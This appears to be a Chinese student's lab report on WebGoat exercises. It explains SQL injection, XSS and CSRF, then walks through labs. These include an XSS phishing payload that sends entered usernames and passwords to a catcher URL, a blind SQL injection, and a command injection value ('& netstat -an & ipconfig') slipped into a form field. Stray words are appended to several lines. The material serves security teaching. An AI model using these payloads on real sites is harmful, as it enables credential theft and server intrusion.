(1)SQL注入攻擊原理,如何防護java
原理:經過在用戶名、密碼登輸入框中輸入特殊字符,在處理字符串與sql語句拼接過程當中實現引號閉合、註釋部分SQL語句,利用永真式,從而達到登陸、顯示信息等目的。web
防護:對輸入進行限制,包括輸入長度和特殊字符的類型等(2)XSS攻擊的原理,如何防護sql
原理:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者能夠利用XSS漏洞旁路掉訪問控制。數據庫
防護:收集JSP特徵,對內容進行嚴格驗證,規定格式。(3)CSRF攻擊原理,如何防護瀏覽器
原理:CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sessionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。安全
防護:在瀏覽器會話結束後清理cookie,在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證。cookie
執行java -jar webgoat-container-7.0.1-war-exec.jar開啓webgoat
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
原理:某些 SQL 注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。 目標:該題目容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。咱們找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。輸入找到的數值並提交,經過該題目。網絡
直接拿測好的數據進行注入
session
右鍵複選框,選擇inspect Element,在某個選項後加上"& netstat -an & ipconfig"
xss
在頁面中選擇該選型,而後點擊view,則會出現該命令執行的結果
感想:
作了這麼多練習,感受頗有成就感,尤爲是在這幾個練習中,遇到了這樣那樣的問題,後來都經過本身的自主學習解決了。這種在自主學習以後,動手實踐,發現問題、解決問題的過程,不只給予了我更多學習的信心和動力,也讓我在不斷解決問題的過程當中提高了本身各方面的能力,掌握了更全面的知識。